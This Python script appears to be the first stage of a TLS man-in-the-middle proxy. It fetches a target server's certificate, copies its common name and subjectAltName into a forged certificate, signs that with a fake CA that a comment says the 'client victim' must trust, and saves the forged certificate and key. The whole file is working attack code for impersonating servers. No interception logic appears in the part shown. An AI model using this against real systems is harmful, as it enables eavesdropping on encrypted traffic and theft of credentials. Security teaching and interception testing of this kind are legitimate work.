#!/usr/bin/python3
import socket
import ssl
import sys
import pprint
import OpenSSL  # deprecated ?
import time
import datetime
import os
import struct

# this certificate must be trusted by the client victim!
FAKE_CA_CERT = "fake-ca-cert.pem"          
FAKE_CA_KEY = "fake-ca-key.pem"

# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
FAKE_SERVER_CERT = "fake-server-cert.pem"
FAKE_SERVER_KEY = "fake-server-key.pem"

######### MISC #########

def log_message(format, *args):
    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))

######### Certificate Tools #########

# cert input are assuming to be x509

# save x509 cert file (PEM format)
def save_cert(cert, path):
    certfile = open(path, "wb")
    certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert))
    certfile.close()

# save private key file (PEM format)
def save_key(key, path):
    keyfile = open(path, "wb")
    keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key))
    keyfile.close()

def load_cert(path):
    certfile = open(path, 'rt')
    cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certfile.read())
    certfile.close()
    return cert

def load_key(path):
    keyfile = open(path, 'rt')
    key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, keyfile.read())
    keyfile.close()
    return key

######### Generate Fake Certificate #########

def generate_fake_cert(cert, cacert, cakey):

    # get CN & SAN from x509 cert
    cn = cert.get_subject().CN
    ext = None
    for idx in range(cert.get_extension_count()):
        ext = cert.get_extension(idx)
        if(ext.get_short_name() == b'subjectAltName'): break
    # if DEBUG: print("  * SAN = ", ext.get_data()) # in raw format (one should decode it...)

    # create a key pair
    fakekey = OpenSSL.crypto.PKey()
    fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, 1024)

    # create a new x509 cert
    fakecert = OpenSSL.crypto.X509()  # x509 format
    fakecert.get_subject().CN = cn
    fakecert.set_serial_number(int(time.time()))
    fakecert.gmtime_adj_notBefore( 0 )             # not valid before today
    fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years
    fakecert.set_pubkey(fakekey)
    fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions

    # add subjectAltName X509 extension (SAN)
    if ext: fakecert.add_extensions([ext])

    # set issuer and CA signature
    fakecert.set_issuer(cacert.get_subject())
    fakecert.sign(cakey, 'sha1')
    fakecert.sign(cakey, 'sha256')

    return (fakecert, fakekey)


######### Main Program  #########

if len(sys.argv) != 3:
    sys.stderr.write("usage: sslproxy <server hostname> <server port>\n")
    sys.exit(1)

SERVERHOST = sys.argv[1]
SERVERPORT = int(sys.argv[2])
serveraddr = (SERVERHOST, SERVERPORT) # the target server

# load CA cert & CA key (x509)
fakecacert = load_cert(FAKE_CA_CERT)
fakecakey = load_key(FAKE_CA_KEY)

sslservercert = ssl.get_server_certificate(serveraddr)
servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, sslservercert)
servercn = servercert.get_subject().CN
log_message('Get certificate: %s', servercn)

fakeservercert, fakeserverkey = generate_fake_cert(servercert, fakecacert, fakecakey)
save_cert(fakeservercert, FAKE_SERVER_CERT)
save_key(fakeserverkey, FAKE_SERVER_KEY)
log_message('Save fake server certificate %s and key %s', FAKE_SERVER_CERT, FAKE_SERVER_KEY)